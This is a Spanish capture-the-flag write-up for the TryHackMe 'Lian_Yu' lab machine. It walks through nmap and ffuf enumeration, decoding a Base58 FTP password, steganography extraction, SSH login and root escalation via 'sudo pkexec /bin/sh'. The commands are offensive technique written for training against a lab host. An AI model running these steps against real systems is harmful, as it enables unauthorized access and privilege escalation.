Enumeration
NMAP
Identificamos puertos abiertos y servicios expuestos en la red. Esta vez con –top-ports para ver los más usados y aligerar el proceso.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Nmap 7.93 scan initiated Tue Jan 17 12:48:42 2023 as: nmap -sV -sC --top-ports 100 -oN ports 10.10.0.220
Nmap scan report for 10.10.0.220
Host is up (0.20s latency).
Not shown: 96 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey:
| 1024 5650bd11efd4ac5632c3ee733ede87f4 (DSA)
| 2048 396f3a9cb62dad0cd86dbe77130725d6 (RSA)
| 256 a66996d76d6127967ebb9f83601b5212 (ECDSA)
|_ 256 3f437675a85aa6cd33b066420491fea0 (ED25519)
80/tcp open http Apache httpd
|_http-title: Purgatory
|_http-server-header: Apache
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 33073/tcp6 status
| 100024 1 41845/udp6 status
| 100024 1 42521/udp status
|_ 100024 1 51975/tcp status
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Encontramos un ftp, ssh, apache y rpc.
Fuzzing
Hacemos fuzzing al Apache ya que no hay nada que podamos hacer en los otros servicios. El index contiene lo siguiente:
index.html
Al hacer fuzzing a la “raíz” del sitio web encontramos el directorio /island.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.10.0.220/FUZZ -ic -c
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.10.0.220/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 2506, Words: 365, Lines: 60, Duration: 539ms]
island [Status: 301, Size: 234, Words: 14, Lines: 8, Duration: 507ms]
Vemos como nos da una palabra clave la cuál es vigilante.
Página island
Si hacemos fuzz dentro del directorio /island encontramos otro el cuál es /2100.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.10.0.220/island/FUZZ -ic -c
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.10.0.220/island/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 345, Words: 41, Lines: 25, Duration: 415ms]
2100 [Status: 301, Size: 239, Words: 14, Lines: 8, Duration: 302ms]
En esta página nos dicen que podemos encontrar un .ticket ahí.
Source code 2100
Para buscar ese archivo haremos fuzzing añadiendo la extensión.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.10.0.220/island/2100/FUZZ.ticket -ic -c
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.10.0.220/island/2100/FUZZ.ticket
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
green_arrow [Status: 200, Size: 71, Words: 10, Lines: 7, Duration: 52ms] : false
Aquí podremos encontrar nuestra contraseña al FTP. Habría que descifrarlo desde Base58.
Contenido del ticket
Foothold
FTP
Ahora ya podemos pasar al FTP y SSH respectivamente.
Usamos el usuario obtenido en /island y la pass del .ticket. Una vez dentro veremos 3 imagenes las cuáles descargaremos usando get.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ ftp vigilante@10.10.0.220
Connected to 10.10.0.220.
220 (vsFTPd 3.0.2)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||55210|).
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 511720 May 01 2020 Leave_me_alone.png
-rw-r--r-- 1 0 0 549924 May 05 2020 Queen's_Gambit.png
-rw-r--r-- 1 0 0 191026 May 01 2020 aa.jpg
226 Directory send OK.
Stego
Veremos como la imagen llamada Leave_me_alone esta corrupta y no podemos ver lo que es la imagen en sí por lo que usaremos hexeditor para modificar la cabecera hexadecimal al tipo de archivo que le corresponde.
Antes de editar
Editado
Una vez editada los llamados magic numbers. Ya seremos capaces de ver la imagen, la que nos da una password literalmente.
Esta la vamos a usar haciendo steghide a la imagen aa.jpg con el passphrase de la imagen anterior.
Al extraer el contenido de esta imagen nos dan dos ficheros:
1
2
3
4
5
6
7
8
9
10
This is your visa to Land on Lian_Yu # Just for Fun ***
a small Note about it
Having spent years on the island, Oliver learned how to be resourceful and
set booby traps all over the island in the common event he ran into dangerous
people. The island is also home to many animals, including pheasants,
wild pigs and wolves.
Texto de relleno…
1
M3*******
Esto tiene mejor pinta…
SSH
Iniciamos con S, este lo conseguiremos mirando algo mejor en el FTP. Como contraseña usamos lo que encontramos en el archivo shado.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ssh s****@10.10.20.106
s****@10.10.20.106's password:
Way To SSH...
Loading.........Done..
Connecting To Lian_Yu Happy Hacking
██╗ ██╗███████╗██╗ ██████╗ ██████╗ ███╗ ███╗███████╗██████╗
██║ ██║██╔════╝██║ ██╔════╝██╔═══██╗████╗ ████║██╔════╝╚════██╗
██║ █╗ ██║█████╗ ██║ ██║ ██║ ██║██╔████╔██║█████╗ █████╔╝
██║███╗██║██╔══╝ ██║ ██║ ██║ ██║██║╚██╔╝██║██╔══╝ ██╔═══╝
╚███╔███╔╝███████╗███████╗╚██████╗╚██████╔╝██║ ╚═╝ ██║███████╗███████╗
╚══╝╚══╝ ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚══════╝
██╗ ██╗ █████╗ ███╗ ██╗ ██╗ ██╗██╗ ██╗
██║ ██║██╔══██╗████╗ ██║ ╚██╗ ██╔╝██║ ██║
██║ ██║███████║██╔██╗ ██║ ╚████╔╝ ██║ ██║
██║ ██║██╔══██║██║╚██╗██║ ╚██╔╝ ██║ ██║
███████╗██║██║ ██║██║ ╚████║███████╗██║ ╚██████╔╝
╚══════╝╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═════╝ #
s****@LianYu:~$ ls
user.txt
s****@LianYu:~$ cat user.txt
THM{**********}
--Felicity Smoak
Privilege Escalation
Lo primero que se hace al iniciar una escalada es sudo -l
para ver que se puede usar como root. En este caso encontramos /usr/bin/pkexec.
1
2
3
4
5
6
s****@LianYu:~$ sudo -l
Matching Defaults entries for s**** on LianYu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User s**** may run the following commands on LianYu:
(root) PASSWD: /usr/bin/pkexec
Consultando GTFOBins vemos que se puede aprovechar que pkexec se ejecute como root usando el siguiente comando.
sudo pkexec /bin/sh
Una vez hecho esto ya seremos root.
1
2
3
4
5
6
7
8
9
10
s****@LianYu:~$ sudo pkexec /bin/sh
# ls
root.txt
# cat root.txt
Mission accomplished
You are injected me with Mirakuru:) ---> Now s**** Will become DEATHSTROKE.
THM{**********}
--DEATHSTROKE
Conclusion
Iniciación a máquinas vulnerables.
Techniques and Tools
- nmap
- ffuf
- steghide
- hexeditor
- PE (Privilege Escalation)